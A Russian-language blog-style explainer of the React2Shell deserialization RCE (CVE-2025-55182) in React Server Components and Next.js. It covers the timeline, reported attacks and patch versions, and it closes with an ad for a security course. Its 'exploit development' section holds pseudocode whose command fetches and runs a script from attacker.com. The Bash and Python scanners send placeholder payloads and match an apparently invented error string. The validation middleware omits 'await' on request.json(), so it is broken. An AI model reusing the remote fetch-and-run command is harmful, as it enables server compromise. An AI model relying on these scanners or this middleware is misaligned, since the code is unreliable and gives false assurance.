React2Shell: Критическая RCE в React и Next.js

React2Shell: Критическая RCE в React и Next.js

CVE-2025-55182 — критическая RCE в React 19 и Next.js, вызванная небезопасной десериализацией в React Server Components. Уязвимость эксплуатируется через HTTP-запросы. Срочно установите патч, чтобы избежать кражи облачных данных и криптомайнинга.
# React2Shell (CVE-2025-55182): подробный разбор критической уязвимости React

*Автор: Локлан Дэвидсон*  
*Последнее обновление: 4 декабря 2025 г.*

---

## Содержание

1. [Введение](#introduction)  
2. [Предыстория и хронология](#background-and-timeline)  
3. [Что такое React2Shell](#understanding-react2shell)  
   - [Определение](#what-is-react2shell)  
   - [Технический обзор уязвимости](#technical-overview-of-the-vulnerability)  
4. [Воздействие на экосистемы React и Next.js](#the-impact-on-react-and-nextjs-ecosystems)  
5. [Небезопасная десериализация и протокол Flight](#insecure-deserialization-and-the-flight-protocol)  
6. [Эксплуатация в реальных условиях и примеры атак](#real-world-exploitation-and-case-studies)  
7. [Методы обнаружения и смягчения](#detection-and-mitigation-techniques)  
   - [Сканирование с Bash и cURL](#scanning-with-bash-and-curl)  
   - [Разбор данных об уязвимостях на Python](#parsing-vulnerability-data-with-python)  
   - [Рекомендации по эффективному мониторингу](#tips-for-effective-monitoring)  
8. [Продвинутые техники эксплуатации и анализ после взлома](#advanced-exploitation-techniques)  
9. [Ложные срабатывания: чему не стоит доверять](#addressing-false-positives)  
10. [Лучшие практики патч-менеджмента и харденинга](#best-practices-for-patching-and-hardening)  
11. [Заключение](#conclusion)  
12. [Ссылки](#references)  

---

## Введение

За последние несколько лет популярность React и связанных с ним фреймворков стремительно выросла: они используются как в небольших веб-проектах, так и в корпоративных приложениях. Вместе с ростом популярности увеличивается и число уязвимостей, особенно тех, что затрагивают критические компоненты экосистемы.

29 ноября 2025 г. я, Локлан Дэвидсон, ответственно раскрыл команде Meta разрушительную уязвимость — React2Shell (CVE-2025-55182). Ошибка, затрагивающая серверные реализации React, в частности протокол “Flight” React Server Components (RSC), была исправлена командами React и Vercel 3 декабря 2025 г. В этом посте представлен углублённый анализ уязвимости — от технических деталей до практических примеров эксплуатации, а также рекомендации по обнаружению и защите.

Мы рассмотрим:
- природу уязвимости и её серьёзное влияние на экосистему;
- технические причины возникновения ошибки;
- реальные сценарии эксплуатации и поведения злоумышленников после взлома;
- примеры кода и команды для сканирования, помогающие обнаружить уязвимые инстансы;
- лучшие практики по патчам и харденингу окружений.

Этот материал будет полезен специалистам по безопасности, разработчикам и энтузиастам современных веб-технологий — от базовых понятий до продвинутых техник эксплуатации и проактивной защиты.

---

## Предыстория и хронология

Понимание временной шкалы важно для оценки управления рисками и скорости реагирования:

- **29 ноября 2025 г. (PT):** уязвимость ответственно раскрыта мной команде Meta.  
- **3 декабря 2025 г. (PT):** React и Vercel публикуют первичные уведомления и патчи.  
- **4 декабря 2025 г.:** в сети появляются публичные PoC-эксплойты; однако часть из них не отражала реальную природу ошибки.  
- **После релиза патчей:** исследователи Wiz Research, Amazon Threat Intelligence, Datadog и др. фиксируют атаки на публичные инстансы Next.js и облачные развёртывания.

Для Next.js был выделен дополнительный идентификатор — CVE-2025-66478. Хотя технически он дублирует CVE-2025-55182, это помогает инструментам отслеживания зависимостей не пропустить уязвимый «вендоренный» React.

---

## Что такое React2Shell

### Определение

React2Shell — критическая уязвимость (CVE-2025-55182) в среде React Server Components, затрагивающая протокол Flight. Ошибка позволяет выполнить удалённый код (RCE) без аутентификации из-за небезопасной десериализации в пакете `react-server`.

Ключевые характеристики:
- **Критический уровень (10.0).**
- **RCE без аутентификации:** достаточно единственного HTTP-запроса с подготовленным payload’ом.  
- **Уязвимость “из коробки”:** стандартные проекты Next.js (`create-next-app`) уязвимы без дополнительного харденинга.

### Технический обзор уязвимости

Корень проблемы — обработка RSC-payload’ов на сервере. Логика десериализации не проверяет структуру входящих данных. Злоумышленник отправляет специально сформированный payload, который после десериализации приводит к выполнению произвольного кода.

Упрощённая схема:
1. Создание вредоносного payload’а.  
2. Отправка HTTP-запроса на уязвимый сервер.  
3. Десериализация без валидации → выполнение кода.  
4. Получение shell-доступа к серверу.

---

## Воздействие на экосистемы React и Next.js

### Почему это так опасно?

1. **Широкое распространение:** React / Next.js — одни из самых популярных фреймворков.  
2. **Простота эксплуатации:** достаточно автоматизированного запроса.  
3. **Высокая надёжность атаки:** при дефолтных настройках близка к 100 %.  
4. **Публичная доступность:** 39 % облачных окружений содержали уязвимые инстансы, многие из которых публичны.

### Особенность Next.js

React поставляется внутри Next.js «вендоренно», поэтому классические сканеры зависимостей могут не увидеть уязвимость. Для этого выделен CVE-2025-66478 — формально дубликат, но позволяющий командам безопасности отследить риск.

---

## Небезопасная десериализация и протокол Flight

### Что такое небезопасная десериализация?

Это процесс, когда данные из сериализованного формата преобразуются в объекты без достаточной проверки, что позволяет исполнить злоумышленный код.

### Протокол Flight

Flight оптимизирует обмен данными между сервером и клиентом для RSC. Недостаточная валидация в `react-server` привела к вектору атаки:  
1. Приходит Flight-запрос.  
2. Сервер десериализует payload.  
3. Если он подменён, выполняются произвольные инструкции.

---

## Эксплуатация в реальных условиях и примеры атак

### Наблюдавшиеся кампании

- **Кража учётных данных облака.**  
- **Криптомайнинг (XMRig).**  
- **Разведка и закрепление в сети.**

### Кейc: Next.js на Kubernetes

Атакующий отправил Flight-payload → получил reverse-shell → доступ к секретам K8s → повышенные привилегии на узле.

### Кейc: Атаки в облаке

По данным Wiz Research:  
- 39 % сред имели уязвимые React/Next.js-инстансы.  
- Злоумышленники эксфильтрировали AWS-креды, кодируя их в Base64.

---

## Методы обнаружения и смягчения

### Сканирование с Bash и cURL

```bash
#!/bin/bash
# Простейший сканер React2Shell (CVE-2025-55182)
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'

echo "Сканирую $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
  echo "Возможна уязвимость на $TARGET"
else
  echo "Явных признаков уязвимости нет; требуется дополнительный анализ."
fi

Разбор на Python

import requests, json

def scan_target(url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}
    print(f"Сканирую {url} ...")
    try:
        r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] Возможна уязвимость на {url}")
        else:
            print(f"[-] Признаков уязвимости не обнаружено на {url}")
    except requests.RequestException as e:
        print(f"Ошибка при сканировании {url}: {e}")

if __name__ == "__main__":
    for t in ["https://example.com/api/flight",
              "https://another-example.com/api/flight"]:
        scan_target(t)

Советы по мониторингу

  1. Защита на уровне рантайма.
  2. Анализ логов HTTP / Flight-endpoint.
  3. Интеграция сканеров уязвимостей с дашбордами.

Продвинутые техники эксплуатации и анализ после взлома

Разработка эксплойта

  • Формирование payload’а, обходящего базовые проверки.
  • Обход WAF/рантайм-защит.
  • Цепочки с другими уязвимостями.
// Псевдокод вредоносного payload'а
const maliciousPayload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { timestamp: Date.now(), nonce: Math.random().toString(36).substring(2) }
};
sendToServer(JSON.stringify(maliciousPayload));

Действия злоумышленника после RCE

  • Reverse shell.
  • Кража переменных окружения и секретов.
  • Латеральное перемещение.
  • Установка майнеров / RAT.

Ложные срабатывания: чему не стоит доверять

Сканеры могут ошибочно считать наличие функций вроде vm.runInThisContext, child_process.exec, fs.writeFile признаком уязвимости. Реальный эксплойт React2Shell не зависит от явного экспорта этих функций. Проверяйте результаты против официальных рекомендаций и наблюдайте рантайм-поведение.


Лучшие практики патч-менеджмента и харденинга

Немедленные шаги

  1. Изучить рекомендации React и Next.js.
  2. Установить версии react-server-dom* 19.0.1 / 19.1.2 / 19.2.1.
  3. Включить/обновить WAF и рантайм-защиту.
  4. Мониторить логи на предмет аномалий.
  5. Следить за отчётами Wiz, GreyNoise, Amazon TI и др.

Харденинг для разработчиков

  • Валидировать входящие сериализованные данные.
  • Ограничить доступность Flight-endpoint’ов.
  • Регулярные аудит и сканирование зависимостей.
  • Сегментировать окружения.
// Пример middleware для Next.js: доп. валидация
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Неверный формат payload', { status: 400 });
      }
    } catch {
      return new NextResponse('Ошибка обработки запроса', { status: 400 });
    }
  }
  return NextResponse.next();
}

Заключение

React2Shell (CVE-2025-55182) — напоминание о том, что даже проверенные фреймворки уязвимы. Ошибка в десериализации протокола Flight даёт RCE без аутентификации и поражает приложения по умолчанию.

Главные выводы:

  • Лёгкая эксплуатация и серьёзный риск в облаке.
  • Отдельный CVE для Next.js помогает не пропустить уязвимость.
  • Уже зафиксированы реальные атаки.
  • Ложные срабатывания отвлекают; сверяйтесь с advisories и следите за рантаймом.
  • Поддерживайте зависимости и многослойную защиту.

Понимая технические детали React2Shell и ландшафт угроз, вы сможете надёжнее защищать свои приложения.


Ссылки


Этот подробный гид должен помочь вам полностью разобраться в React2Shell — от технических тонкостей до практических мер защиты. Оставайтесь в курсе официальных обновлений и постоянно совершенствуйте свою безопасность.

Безопасной разработки!

🚀 ГОТОВЫ К ПОВЫШЕНИЮ УРОВНЯ?

Поднимите свою карьеру в кибербезопасности на новый уровень

Если вы нашли этот контент ценным, представьте, чего вы могли бы достичь с нашей комплексной 47-недельной элитной обучающей программой. Присоединяйтесь к более чем 1200 студентам, которые изменили свою карьеру с помощью техник Подразделения 8200.

97% Трудоустройство
Элитные техники Подразделения 8200
42 Практические лаборатории